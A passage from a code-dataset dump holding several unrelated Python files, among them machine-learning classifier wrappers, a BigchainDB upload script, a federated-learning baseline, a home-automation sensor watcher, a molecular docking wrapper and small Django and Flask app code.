reg_alpha=0, reg_lambda=1, scale_pos_weight=1,\n base_score=0.5, seed=0, missing=None, \n booster=\"gbtree\"):\n \"\"\" parameters copied from xgb.XGBClassifer plus missing params \n NOTE: sklearn requires all parameters explicitly listed in signature\n of __init__, not just in parent class and not using **params.\n \"\"\"\n self.booster = booster\n params = {k:v for k,v in locals().items()\n if not k.startswith(\"__\")\n and k not in [\"booster\", \"reg_lambda_bias\", \"self\"]}\n super().__init__(**params)\n \n def fit(self, x, y, **params):\n verbose = params.pop(\"verbose\", 10000)\n if verbose >= 20:\n verbose = 1\n else:\n verbose = 10000\n params[\"verbose\"] = verbose\n\n super().fit(x, y, **params)\n \n def ncrossval(self, x, y, **params):\n \"\"\" tune n_estimators using crossval until early stopping \"\"\"\n \n clear = params.pop(\"clear\", True)\n \n params.setdefault(\"early_stopping_rounds\", 15)\n params.setdefault(\"nfold\", 3)\n params.setdefault(\"num_boost_round\", \n self.get_xgb_params()['n_estimators'])\n\n if \"metrics\" not in params:\n raise Exception(self.xgbmetrics_error)\n \n # XGB verbose=n means report every n epochs\n verbose = params.pop(\"verbose\", 20)\n if verbose == 0:\n verbose = 10000\n elif verbose <20:\n verbose = 20\n else:\n verbose = 1\n\n # set classifier params\n xgbparams = self.get_xgb_params()\n xgbparams.setdefault(\"num_class\", len(np.unique(y)))\n cvresult = xgb.cv(xgbparams, \n xgb.DMatrix(x, y), \n verbose_eval=verbose,\n **params)\n metric = params[\"metrics\"]\n if isinstance(metric, list):\n metric = metric[0]\n scores = list(cvresult[\"test-%s-mean\"%metric])\n self.best_iteration = scores.index(min(scores))\n self.best_score = scores[self.best_iteration]\n\n if clear: \n clear_output()\n log.info(\"best score %s with %s iterations\"\n %(self.best_score, self.best_iteration+1))\n \n def ntraintest(self, x, y, **params):\n \"\"\" ncrossval better but this is faster \"\"\"\n clear = params.pop(\"clear\", True)\n \n if \"metrics\" not in params:\n raise Exception(self.xgbmetrics_error)\n params[\"eval_metric\"] = params.pop(\"metrics\")\n params.setdefault(\"early_stopping_rounds\", 10)\n \n xtrain, xtest, ytrain, ytest = train_test_split(x, y,\n test_size=0.1, random_state=0)\n self.fit(xtrain, ytrain, \n eval_set=[(xtest, ytest)],\n **params)\n \n if clear: \n clear_output()\n log.info(\"best score %s with %s iterations\"\n %(self.best_score, self.best_iteration+1))\n \n############################################################################\n\nclass KerasClassifier(KerasClassifier):\n \"\"\" adds sparse matrix handling using batch generator\n add ntraintest to traintest until stopping criteria met \n \"\"\"\n \n def fit(self, x, y, **kwargs):\n \"\"\" adds sparse matrix handling \"\"\"\n if not issparse(x):\n return super().fit(x, y, **kwargs)\n \n ############ adapted from KerasClassifier.fit ###################### \n if self.build_fn is None:\n self.model = self.__call__(**self.filter_sk_params(self.__call__))\n elif not isinstance(self.build_fn, types.FunctionType):\n self.model = self.build_fn(\n **self.filter_sk_params(self.build_fn.__call__))\n else:\n self.model = self.build_fn(**self.filter_sk_params(self.build_fn))\n\n loss_name = self.model.loss\n if hasattr(loss_name, '__name__'):\n loss_name = loss_name.__name__\n if loss_name == 'categorical_crossentropy' and len(y.shape) != 2:\n y = to_categorical(y)\n ### fit => fit_generator\n fit_args = copy.deepcopy(self.filter_sk_params(Sequential.fit_generator))\n fit_args.update(kwargs)\n ############################################################\n self.model.fit_generator(\n self.get_batch(x, y, self.sk_params[\"batch_size\"]),\n samples_per_epoch=x.shape[0],\n **fit_args) \n return self \n\n def ntraintest(self, x, y, clear=True, scoresign=-1, **params):\n \"\"\" fit until stopping criteria met and retain best model \"\"\"\n xtrain, xtest, ytrain, ytest = train_test_split(x, y,\n test_size=0.1, random_state=0)\n params.setdefault(\"verbose\", 1)\n # keras verbose is 0 or 1 only\n if params[\"verbose\"] > 0:\n params[\"verbose\"] = 1\n\n earlystopping = EarlyStopping(monitor='val_loss', \n patience=3, verbose=0, mode='auto')\n best_file = './best_weights.txt'\n savebestmodel = ModelCheckpoint(best_file, \n monitor='val_loss', verbose=0,\n save_best_only=True, mode='auto')\n keraslog = Keraslog()\n self.fit(xtrain, ytrain,\n validation_data=(xtest, ytest),\n callbacks=[earlystopping, savebestmodel, keraslog],\n **params)\n self.model.load_weights(best_file)\n \n losses = np.array(keraslog.losses)\n \n losses = losses * scoresign\n self.best_score = max(losses)\n best_iteration = list(losses).index(self.best_score) + 1\n \n if clear: \n clear_output()\n log.info(\"best score %s with %s iterations\"\n %(self.best_score, best_iteration))\n \n return losses\n\n def get_batch(self, x, y=None, batch_size=32):\n \"\"\" batch generator to enable sparse input \"\"\"\n index = np.arange(x.shape[0])\n start = 0\n while True:\n if start == 0 and y is not None:\n np.random.shuffle(index)\n batch = index[start:start+batch_size]\n if y is not None:\n yield x[batch].toarray(), y[batch]\n else:\n yield x[batch].toarray()\n start += batch_size\n if start >= x.shape[0]:\n start = 0\n \n def predict(self, x, **params):\n \"\"\" enable functional model. parent fails on call to predict_classes\n \"\"\"\n preds = self.model.predict(x, **params)\n return np.argmax(preds, axis=1)\n \n def predict_proba(self, x):\n \"\"\" adds sparse matrix handling \"\"\"\n if not issparse(x):\n return super().predict_proba(x)\n \n preds = self.model.predict_generator(\n self.get_batch(x, None, self.sk_params[\"batch_size\"]), \n val_samples=x.shape[0])\n return preds\n \nclass Keraslog(Callback):\n \"\"\" log scores from keras iterations \"\"\"\n def on_train_begin(self, logs={}):\n self.losses = []\n\n def on_epoch_end(self, batch, logs={}):\n self.losses.append(logs.get('val_loss'))\n \ndef basic_keras(insize, outsize,\n # hyperparameters\n neurons1=0, init1=0, activation1=0, alpha1=0, theta1=0, dropout1=0,\n neurons2=0, init2=0, activation2=0, alpha2=0, theta2=0, dropout2=0,\n neurons2b=0, init2b=0, activation2b=0, alpha2b=0, theta2b=0, dropout2b=0,\n neurons3=0, init3=0, activation3=0, alpha3=0, theta3=0, dropout3=0):\n \"\"\" returns a keras model with 1 or 2 hidden layers (2, 2b)\n based on parameters so can be optimised\n \"\"\"\n if neurons1==0:\n log.exception(\"Keras parameters need to be set\")\n return\n\n if activation1 in [\"LeakyReLU\", \"ELU\", \"ThresholdedReLU\"]: \n activation1 = eval(activation1)(alpha1)\n elif activation1 in [\"PReLU\", \"ParametricSoftplus\", \"SReLU\"]:\n activation1 = eval(activation1)()\n \n if activation2 in [\"LeakyReLU\", \"ELU\", \"ThresholdedReLU\"]: \n activation2 = eval(activation2)(alpha2)\n elif activation2 in [\"PReLU\", \"ParametricSoftplus\", \"SReLU\"]:\n activation2 = eval(activation2)()\n\n if activation2b in [\"LeakyReLU\", \"ELU\", \"ThresholdedReLU\"]: \n activation2b = eval(activation2b)(alpha2b)\n elif activation2b in [\"PReLU\", \"ParametricSoftplus\", \"SReLU\"]:\n activation2b = eval(activation2b)()\n\n if activation3 in [\"LeakyReLU\", \"ELU\", \"ThresholdedReLU\"]: \n activation3 = eval(activation3)(alpha3)\n elif activation3 in [\"PReLU\", \"ParametricSoftplus\", \"SReLU\"]:\n activation3 = eval(activation3)()\n \n model = Sequential()\n model.add(Dense(neurons1, input_dim=insize, init=init1))\n model.add(Activation(activation1))\n model.add(Dropout(dropout1))\n \n model.add(Dense(neurons2, init=init2))\n model.add(Activation(activation2))\n model.add(Dropout(dropout2)) \n\n if neurons2b > 0:\n model.add(Dense(neurons2b, init=init2b))\n model.add(Activation(activation2b))\n model.add(Dropout(dropout2b)) \n\n model.add(Dense(outsize, init=init3))\n model.add(Activation(activation3))\n\n model.compile(loss=\"categorical_crossentropy\", optimizer=\"adadelta\")\n return model \n \n###########################################################################\n \nclass Stacker(BaseEstimator):\n \"\"\" combines predictions from multiple classifiers using meta classifier\n \"\"\"\n def __init__(self, clfs, metaclf, cv=3):\n self.clfs = clfs\n self.metaclf = metaclf\n self.cv = cv\n \n def fit(self, x, y, **params):\n \"\"\" fit training data \"\"\"\n preds = []\n for i, clf in enumerate(self.clfs):\n log.info(\"fit %s\"%i)\n if \"Keras\" in str(clf) and \"verbose\" in params:\n params[\"fit_params\"] = dict(verbose=params[\"verbose\"])\n \n # save out-of-fold predictions to fit metaclf\n if clf.hasattr(\"predict_proba\"):\n method = \"predict_proba\"\n else:\n method = \"predict\"\n pred = cross_val_predict(clf, x, y, \n cv=self.cv, verbose=0,\n method=method,\n **params) \n preds.append(pred)\n \n # fully fitted to predict test data\n clf.fit(x, y, verbose=0)\n \n # fit metaclf on out-of-fold predictions\n log.info(\"fit metaclf\")\n self.metaclf.fit(np.hstack(preds), y)\n return self\n \n def predict_proba(self, x, **params):\n \"\"\" predict test data \"\"\"\n preds = []\n for i, clf in enumerate(self.clfs):\n log.info(\"predict %s\"%i)\n pred = clf.predict_proba(x, **params)\n preds.append(pred)\n \n log.info(\"predict metaclf\")\n return self.metaclf.predict_proba(np.hstack(preds))\n\nodds = lambda p: p/(1-p)\nclass Sampler(BaseEstimator):\n \"\"\" combines sampling + estimator\n scales probabilities to original sample\n NOTE: PIPELINE DOES NOT SUPPORT AS CHANGES AXIS 0 AND Y\n GRIDSEARCH DOES NOT SUPPORT AS PARAMS PASSED TO INIT\n MAY BE OTHER AREAS UNSUPPORTED\n \"\"\"\n def __init__(self, sample, model, **params):\n \"\"\" parameters are classifiers \"\"\"\n self.sample = sample\n self.model = model\n self.set_params(**params)\n \n def fit(self, x, y):\n original_odds = odds(y.sum() / len(y))\n self.odds_ratio = 1\n if self.sample and odds(self.sample.ratio) < original_odds:\n x, y = self.sample.fit_sample(x, y)\n revised_odds = odds(y.sum() / len(y))\n self.odds_ratio = original_odds / revised_odds\n self.model.fit(x, y)\n\n def predict(self, x):\n probs = self.model.predict_proba(x)\n ypred = probs[:1]>.5\n return ypred\n\n def predict_proba(self, x):\n probs = self.model.predict_proba(x)\n adjusted_odds = odds(probs) * self.odds_ratio\n probs = 1/(1+1/adjusted_odds)\n return probs\n \n def set_params(self, **params):\n if self.sample:\n self.sample.set_params(**{k:v for k, v in params.items()\n if k in self.sample.get_params().keys()})\n self.model.set_params(**{k:v for k, v in params.items() \n if k in self.model.get_params().keys()})","sub_path":"analysis/classifiers.py","file_name":"classifiers.py","file_ext":"py","file_size_in_byte":15306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"500246611","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# This script is made for the 2018 Blockathon in Brussels\n# A JSON format containing code data will be processed and uploaded\n# In a realistic situation this would be an integrated part of the ScanTrust decentralised process\n# fixtures/fixtures.json holds the example data set for the physical codes and causes we have right now to demo\n\nfrom bigchaindb_driver import BigchainDB\nfrom bigchaindb_driver.crypto import generate_keypair\nimport argparse\nimport json\n\n# BigChainDb root url\nbdb_root_url = 'http://51.144.103.72:9984/'\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"This script uploads codes into BigChainDb.\")\n parser.add_argument('--json', type=argparse.FileType('rb'), help='Specify the path to a valid *.json file.',\n required=True)\n parser.add_argument('--token', help='Upload divisible asset', action='store_true')\n args = parser.parse_args()\n data = json.loads(args.json.read())\n uploader = Uploader()\n if args.token:\n uploader.generate_divisible_asset()\n uploader.upload(data)\n\n\nclass Uploader(object):\n # These fields should contain private and public Keys, generated by ScanTrust\n PUBLIC_KEY = ''\n PRIVATE_KEY = ''\n\n def __init__(self):\n self.bdb = BigchainDB(bdb_root_url)\n\n def _send_tx(self, asset, pub_key, priv_key, metadata=None, **kwargs):\n \"\"\" Generic method for asset creation\"\"\"\n tx = self.bdb.transactions.prepare(operation='CREATE', signers=pub_key, asset=asset,\n metadata=metadata, **kwargs)\n signed_tx = self.bdb.transactions.fulfill(tx, private_keys=priv_key)\n sent_tx = self.bdb.transactions.send_commit(signed_tx)\n try:\n asset_name = asset['data']['name']\n except KeyError:\n asset_name = asset['data']\n print(\"{} {} was successfully uploaded.\".format(asset_name, sent_tx['id']))\n return sent_tx\n\n def upload_code(self, code):\n # Data structure for the \"code\" asset\n code_asset = {\n \"data\": {\n \"name\": \"code\",\n \"ns\": \"scantrust:codes\", # namespase\n \"message\": code.pop('message'),\n \"workorder\": code.pop('workorder', ''),\n \"product_id\": code.pop('product_id', ''),\n \"serial_number\": code.pop('serial_number', ''),\n \"points\": 100,\n }\n }\n return self._send_tx(code_asset, self.PUBLIC_KEY, self.PRIVATE_KEY, metadata=dict(is_consumed=False))\n\n def generate_divisible_asset(self):\n # Generating initial token\n asset = {'data': {'token': 'supertoken'}}\n metadata = {'metadata': 'metadata'}\n self._send_tx(asset, self.PUBLIC_KEY, self.PRIVATE_KEY, metadata, recipients=[([self.PUBLIC_KEY], 1000000000)])\n\n def upload(self, data):\n try:\n for cause in data['causes']:\n kp = generate_keypair()\n cause[\"pub_key\"] = kp.public_key\n self._send_tx(dict(data=cause), kp.public_key, kp.private_key)\n except KeyError:\n print(\"No causes were found\")\n try:\n [self.upload_code(code) for code in data['codes']]\n except KeyError:\n print(\"No codes where found\")\n else:\n print('All the data was successfully uploaded')\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"scripts/upload.py","file_name":"upload.py","file_ext":"py","file_size_in_byte":3454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"640663996","text":"# Copyright 2019, The TensorFlow Federated Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Baseline experiment on centralized data.\"\"\"\n\nimport collections\nimport os\n\nfrom absl import app\nfrom absl import flags\nfrom absl import logging\nimport pandas as pd\nimport tensorflow as tf\n\nfrom tensorflow_federated.python.research.optimization.shared import keras_callbacks\nfrom tensorflow_federated.python.research.optimization.shared import keras_metrics\nfrom tensorflow_federated.python.research.optimization.shared import optimizer_utils\nfrom tensorflow_federated.python.research.optimization.stackoverflow import dataset\nfrom tensorflow_federated.python.research.optimization.stackoverflow import models\nfrom tensorflow_federated.python.research.utils import utils_impl\n\nwith utils_impl.record_new_flags() as hparam_flags:\n flags.DEFINE_string(\n 'experiment_name', 'centralized_stackoverflow',\n 'Unique name for the experiment, suitable for '\n 'use in filenames.')\n flags.DEFINE_integer('batch_size', 128, 'Batch size used.')\n\n # Modeling flags\n flags.DEFINE_integer('vocab_size', 10000, 'Size of vocab to use.')\n flags.DEFINE_integer('embedding_size', 96,\n 'Dimension of word embedding to use.')\n flags.DEFINE_integer('latent_size', 670,\n 'Dimension of latent size to use in recurrent cell')\n flags.DEFINE_integer('num_layers', 1,\n 'Number of stacked recurrent layers to use.')\n flags.DEFINE_boolean(\n 'shared_embedding', False,\n 'Boolean indicating whether to tie input and output embeddings.')\n\n # TODO(b/141867576): TFF currently needs a concrete maximum sequence length.\n # Follow up when this restriction is lifted.\n flags.DEFINE_integer('sequence_length', 20, 'Max sequence length to use.')\n flags.DEFINE_integer('epochs', 3, 'Number of epochs to train for.')\n flags.DEFINE_integer('num_validation_examples', 10000,\n 'Number of examples to take for validation set.')\n flags.DEFINE_integer('tensorboard_update_frequency', 10 * 1000,\n 'Number of steps between tensorboard logging calls.')\n flags.DEFINE_string('root_output_dir', '/tmp/centralized_stackoverflow/',\n 'Root directory for writing experiment output.')\n flags.DEFINE_integer(\n 'shuffle_buffer_size', 10000, 'Shuffle buffer size to '\n 'use for centralized training.')\n optimizer_utils.define_optimizer_flags('centralized')\n\nFLAGS = flags.FLAGS\n\n\ndef run_experiment():\n \"\"\"Runs the training experiment.\"\"\"\n _, validation_dataset, test_dataset = dataset.construct_word_level_datasets(\n FLAGS.vocab_size, FLAGS.batch_size, 1, FLAGS.sequence_length, -1,\n FLAGS.num_validation_examples)\n train_dataset = dataset.get_centralized_train_dataset(\n FLAGS.vocab_size, FLAGS.batch_size, FLAGS.sequence_length,\n FLAGS.shuffle_buffer_size)\n\n model = models.create_recurrent_model(\n vocab_size=FLAGS.vocab_size,\n name='stackoverflow-lstm',\n embedding_size=FLAGS.embedding_size,\n latent_size=FLAGS.latent_size,\n num_layers=FLAGS.num_layers,\n shared_embedding=FLAGS.shared_embedding)\n\n logging.info('Training model: %s', model.summary())\n optimizer = optimizer_utils.create_optimizer_fn_from_flags('centralized')()\n pad_token, oov_token, _, eos_token = dataset.get_special_tokens(\n FLAGS.vocab_size)\n model.compile(\n loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True),\n optimizer=optimizer,\n metrics=[\n # Plus 4 for pad, oov, bos, eos\n keras_metrics.MaskedCategoricalAccuracy(\n name='accuracy_with_oov', masked_tokens=[pad_token]),\n keras_metrics.MaskedCategoricalAccuracy(\n name='accuracy_no_oov', masked_tokens=[pad_token, oov_token]),\n keras_metrics.MaskedCategoricalAccuracy(\n name='accuracy_no_oov_or_eos',\n masked_tokens=[pad_token, oov_token, eos_token]),\n ])\n\n train_results_path = os.path.join(FLAGS.root_output_dir, 'train_results',\n FLAGS.experiment_name)\n test_results_path = os.path.join(FLAGS.root_output_dir, 'test_results',\n FLAGS.experiment_name)\n\n train_csv_logger = keras_callbacks.AtomicCSVLogger(train_results_path)\n test_csv_logger = keras_callbacks.AtomicCSVLogger(test_results_path)\n\n log_dir = os.path.join(FLAGS.root_output_dir, 'logdir', FLAGS.experiment_name)\n try:\n tf.io.gfile.makedirs(log_dir)\n tf.io.gfile.makedirs(train_results_path)\n tf.io.gfile.makedirs(test_results_path)\n except tf.errors.OpError:\n pass # log_dir already exists.\n\n train_tensorboard_callback = tf.keras.callbacks.TensorBoard(\n log_dir=log_dir,\n write_graph=True,\n update_freq=FLAGS.tensorboard_update_frequency)\n\n test_tensorboard_callback = tf.keras.callbacks.TensorBoard(log_dir=log_dir)\n\n # Write the hyperparameters to a CSV:\n hparam_dict = collections.OrderedDict([\n (name, FLAGS[name].value) for name in hparam_flags\n ])\n hparams_file = os.path.join(FLAGS.root_output_dir, FLAGS.experiment_name,\n 'hparams.csv')\n utils_impl.atomic_write_to_csv(pd.Series(hparam_dict), hparams_file)\n\n model.fit(\n train_dataset,\n epochs=FLAGS.epochs,\n verbose=0,\n validation_data=validation_dataset,\n callbacks=[train_csv_logger, train_tensorboard_callback])\n score = model.evaluate(\n test_dataset,\n verbose=0,\n callbacks=[test_csv_logger, test_tensorboard_callback])\n logging.info('Final test loss: %.4f', score[0])\n logging.info('Final test accuracy: %.4f', score[1])\n\n\ndef main(argv):\n if len(argv) > 1:\n raise app.UsageError('Too many command-line arguments.')\n\n tf.compat.v1.enable_v2_behavior()\n try:\n tf.io.gfile.makedirs(\n os.path.join(FLAGS.root_output_dir, FLAGS.experiment_name))\n except tf.errors.OpError:\n pass\n run_experiment()\n\n\nif __name__ == '__main__':\n app.run(main)\n","sub_path":"tensorflow_federated/python/research/optimization/stackoverflow/run_centralized.py","file_name":"run_centralized.py","file_ext":"py","file_size_in_byte":6516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"323245241","text":"import appdaemon.plugins.hass.hassapi as hass\nimport globals\n\n#\n# App which notifies if sensor goes offline\n#\n# Args:\n#\n# app_switch: on/off switch for this app. example: input_boolean.sensor_watcher\n# watch_list: list of entities which should be watched\n# message: message to use in notification\n# notify_name: who to notify. example: group_notifications\n# use_alexa (optional): use alexa for notification. example: False\n#\n# Release Notes\n#\n# Version 1.0:\n# Initial Version\n\n\nclass SensorWatcher(hass.Hass):\n def initialize(self):\n self.listen_state_handle_list = []\n\n self.app_switch = globals.get_arg(self.args, \"app_switch\")\n self.watch_list = globals.get_arg_list(self.args, \"watch_list\")\n self.message = globals.get_arg(self.args, \"message\")\n self.message_back_online = globals.get_arg(self.args, \"message_back_online\")\n self.notify_name = globals.get_arg(self.args, \"notify_name\")\n try:\n self.use_alexa = globals.get_arg(self.args, \"use_alexa\")\n except KeyError:\n self.use_alexa = False\n\n self.notifier = self.get_app(\"Notifier\")\n\n if self.get_state(self.app_switch) == \"on\":\n for sensor in self.watch_list:\n if (\n self.get_state(sensor) is None\n or self.get_state(sensor).lower() == \"unknown\"\n ):\n self.notifier.notify(\n self.notify_name,\n self.message.format(self.friendly_name(sensor)),\n useAlexa=self.use_alexa,\n )\n\n for sensor in self.watch_list:\n self.listen_state_handle_list.append(\n self.listen_state(self.state_change, sensor)\n )\n\n def state_change(self, entity, attribute, old, new, kwargs):\n if self.get_state(self.app_switch) == \"on\":\n if new != old and (new is None or new.lower() == \"unknown\"):\n self.notifier.notify(\n self.notify_name,\n self.message.format(self.friendly_name(entity)),\n useAlexa=self.use_alexa,\n )\n if new != old and (\n (old is None or old.lower() == \"unknown\")\n and (new is not None and new.lower() != \"unknown\")\n ):\n self.notifier.notify(\n self.notify_name,\n self.message_back_online.format(self.friendly_name(entity)),\n useAlexa=self.use_alexa,\n )\n\n def terminate(self):\n for listen_state_handle in self.listen_state_handle_list:\n self.cancel_listen_state(listen_state_handle)\n","sub_path":"sensorWatcher/sensorWatcher.py","file_name":"sensorWatcher.py","file_ext":"py","file_size_in_byte":2716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"144759678","text":"import os, shutil\nfrom biopandas.pdb import PandasPdb\nfrom src.plip_extension import ObtainInteractionsFromComplex\n\n\nclass VinaDocker:\n\n def __init__(self, ligentry: str, protentry: str, protein_pdbqt: str, ligand_pdbqt: str, dir: str):\n self.protein = protein_pdbqt + '.pdbqt'\n self.protpdb = protentry + '.pdb'\n self.protname = os.path.basename(self.protein)\n self.ligand = ligand_pdbqt + '.pdbqt'\n self.ligname = os.path.basename(self.ligand)\n self.tmpdir = dir\n self.docklog = './results/' + protentry + '_' + ligentry + '_docking.log'\n self.dockfile = './results/' + protentry + '_' + ligentry + '.out'\n self.complex_name = protentry + '_' + ligentry + '_cplx.pdb'\n\n def dock_merge_plip(self):\n df = PandasPdb().read_pdb(self.tmpdir + '/' + self.protpdb) # opens protein to calculate grid\n minx = df.df['ATOM']['x_coord'].min()\n maxx = df.df['ATOM']['x_coord'].max()\n cent_x = round((maxx + minx) / 2, 2)\n size_x = round(abs(maxx - minx) + 3, 2)\n miny = df.df['ATOM']['y_coord'].min()\n maxy = df.df['ATOM']['y_coord'].max()\n cent_y = round((maxy + miny) / 2, 2)\n size_y = round(abs(maxy - miny) + 3, 2)\n minz = df.df['ATOM']['z_coord'].min()\n maxz = df.df['ATOM']['z_coord'].max()\n cent_z = round((maxz + minz) / 2, 2)\n size_z = round(abs(maxz - minz) + 3, 2)\n assert (type(cent_x) != None), \"Protein structure is damaged\"\n assert (type(cent_y) != None), \"Protein structure is damaged\"\n assert (type(cent_z) != None), \"Protein structure is damaged\"\n\n\n print(\"Center point of docking grid for {} is as follows: \"\n \"x: {}, y: {}, z: {}\".format(self.protein, size_x, size_y, size_z))\n print(\"Sizes of docking grid are as follows:\"\n \"x: {}, y: {}, z: {}\".format(cent_x, cent_y, cent_z))\n os.system(\n 'vina --receptor {} --ligand {} --center_x {} --center_y {} --center_z {} --size_x {} --size_y {} --size_z {} --log {} --out {}'.format(\n self.protein,\n self.ligand,\n cent_x,\n cent_y,\n cent_z,\n size_x,\n size_y,\n size_z,\n self.docklog,\n self.dockfile\n ))\n \"\"\"Postprocessing of docking files\"\"\"\n\n df.df['ATOM']['segment_id'].replace(r'.{1,}', '', regex=True, inplace=True) # Clean pdbqt inheritance\n df.df['ATOM']['blank_4'].replace(r'.{1,}', '', regex=True, inplace=True)\n docking_output_df = PandasPdb().read_pdb(self.dockfile)\n docking_output_df.df['HETATM'].drop_duplicates(subset='atom_number', keep='first', inplace=True) # extract first model\n docking_output_df.df['HETATM']['segment_id'].replace(r'.{1,}', '', regex=True, inplace=True)\n docking_output_df.df['HETATM']['blank_4'].replace(r'.{1,}', '', regex=True, inplace=True) # clean pdbqt inheritance\n df.df['ATOM'] = df.df['ATOM'].append(docking_output_df.df['HETATM'], ignore_index=True) # merges the files\n df.to_pdb(path = self.complex_name,\n records=['ATOM','HETATM'],\n gz = False,\n append_newline=True)\n try:\n ObtainInteractionsFromComplex(self.complex_name).connect_retrieve() # PLIP analysis\n except:\n pass\n shutil.move(self.complex_name, './results')\n","sub_path":"src/perform_docking.py","file_name":"perform_docking.py","file_ext":"py","file_size_in_byte":3480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"139031387","text":"# coding=utf-8\n\nfrom django.test import TestCase\nfrom django.core.exceptions import ValidationError\n\nfrom hatter.functions.validators import validate_codigo_postal, validate_dni\nfrom hatter.functions import horario\n\nimport datetime\n\nfmt_wo_utc = '%Y-%m-%d %H:%M:%S'\n\n\ndef create_utc_object(value):\n dict_utc = {\n 'utc': value\n }\n\n return dict_utc\n\n\ndef create_time_object(value):\n dict_time = {\n 'horas': value[2:3],\n 'minutos': value[4:],\n 'signo': value[:1],\n }\n\n return dict_time\n\n\nclass ValidatorsTestCase(TestCase):\n \"\"\"\n Validator test case\n \"\"\"\n def test_codigo_postal(self):\n for i in range(1, 999):\n self.assertRaises(ValidationError, validate_codigo_postal, i)\n for i in range(53000, 99999):\n self.assertRaises(ValidationError, validate_codigo_postal, i)\n\n def test_dni(self):\n value1 = '012345678'\n value2 = '01234567'\n value3 = '0123456789'\n value4 = '03071978S'\n\n self.assertRaises(ValidationError, validate_dni, value1)\n self.assertRaises(ValidationError, validate_dni, value2)\n self.assertRaises(ValidationError, validate_dni, value3)\n self.assertRaises(ValidationError, validate_dni, value4)\n\n\nclass FunctionsTestCase(TestCase):\n \"\"\"\n Functions test case\n \"\"\"\n def test_get_horas(self):\n value_utc = create_utc_object('+0200')\n\n r = horario.get_horas_minutos_utc(value_utc)\n\n self.assertTrue(isinstance(r, dict))\n self.assertEqual(r['horas'], 2)\n self.assertEqual(r['minutos'], 0)\n\n def test_time(self):\n value_spain = horario.spain_timezone()\n self.assertTrue(isinstance(value_spain, datetime.datetime))\n\n def test_utc_from_dict(self):\n dict_time = create_time_object('+0200')\n\n r = horario.set_utc_from_dict(dict_time)\n self.assertTrue(isinstance(r, str))\n self.assertEqual(len(r), 6)\n\n def test_parse_spain_format_to_sql(self):\n fecha = datetime.datetime.now().strftime('%d/%m/%Y')\n\n r = horario.parse_spain_format_to_sql(fecha)\n\n self.assertTrue(isinstance(r, datetime.date))\n\n def test_range_date(self):\n start = datetime.date(year=2014, month=2, day=3)\n end = datetime.date(year=2014, month=2, day=20)\n n = 0\n\n for d in horario.date_range(start=start, end=end):\n self.assertTrue(isinstance(d, datetime.date))\n n = n + 1\n\n self.assertEqual(n, 18)\n","sub_path":"hatter/tests/test_functions.py","file_name":"test_functions.py","file_ext":"py","file_size_in_byte":2507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"140780469","text":"import re\n\nfrom django.contrib.auth import authenticate, logout\nfrom django.contrib.auth import login as dj_login\nfrom django.contrib.auth.models import User\nfrom django.http import HttpResponse, HttpResponseRedirect, JsonResponse\nfrom django.shortcuts import render\nfrom .models import Course, Lesson\n\n\ndef courses(request):\n all_courses = Course.objects.all().order_by('id')\n\n context = {\n 'courses': all_courses\n }\n return render(request, 'courses/courses.html', context)\n\n\ndef lesson(request, lesson_id):\n try:\n current_lesson = Lesson.objects.get(id=lesson_id)\n # comments = reversed(Comments.objects.filter(comment_post=lesson_id))\n context = {\n 'lesson': current_lesson\n }\n return render(request, \"courses/lesson.html\", context)\n except Lesson.DoesNotExist:\n return render(request, \"404.html\")\n\n\ndef course(request, course_id):\n try:\n current_course = Course.objects.get(id=course_id)\n course_lessons = Lesson.objects.filter(course=current_course).order_by('id')\n context = {\n 'course': current_course,\n 'lessons': course_lessons\n }\n return render(request, \"courses/course.html\", context)\n except Course.DoesNotExist:\n return render(request, \"404.html\")\n","sub_path":"awesome_diplom/courses/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"242141119","text":"#!/usr/bin/env python\n'''\nCreated on 2010-07-28\n\n@author: aoneill\n'''\nimport os\nfrom setuptools import setup, find_packages\n\n# Utility function to read the README file.\n# Used for the long_description. It's nice, because now 1) we have a top level\n# README file and 2) it's easier to type in the README file than to put a raw\n# string in below ...\ndef read(fname):\n return open(os.path.join(os.path.dirname(__file__), fname)).read()\n\nsetup(name='fedora_micro_services',\n version='0.2',\n description='Fedora Stomp Listener',\n author='Alexander O''Neill',\n author_email='aoneill@upei.ca',\n maintainer='Jonathan Green',\n maintainer_email='jonathan@discoverygarden.ca',\n url='http://islandora.ca/',\n long_description=read('README'),\n packages=find_packages('src'),\n py_modules=['fedora_listener/__main__', 'content_model_listeners/__main__'],\n package_dir = {'': 'src'},\n package_data = {'content_model_listeners':['plugins/*']},\n #data_files=[('/etc/init.d', ['fedora_microservices'])]\n install_requires=['FeedParser', 'fcrepo', 'stomp.py', 'yapsy'],\n )\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"76759428","text":"import os\nfrom PIL import Image\nfrom flask import url_for,current_app\n\n\ndef add_profile_pic(pic_upload,username):\n filename = pic_upload.filename\n #taking the text after . to check that extention is jpg or png\n ext_type = filename.split('.')[-1]\n #changing user's picture name to username and adding existing extention in order not to have repeating file names\n storage_filename = str(username)+'.'+ext_type\n #finding path to a folder where profile pictures will be stored \n filepath = 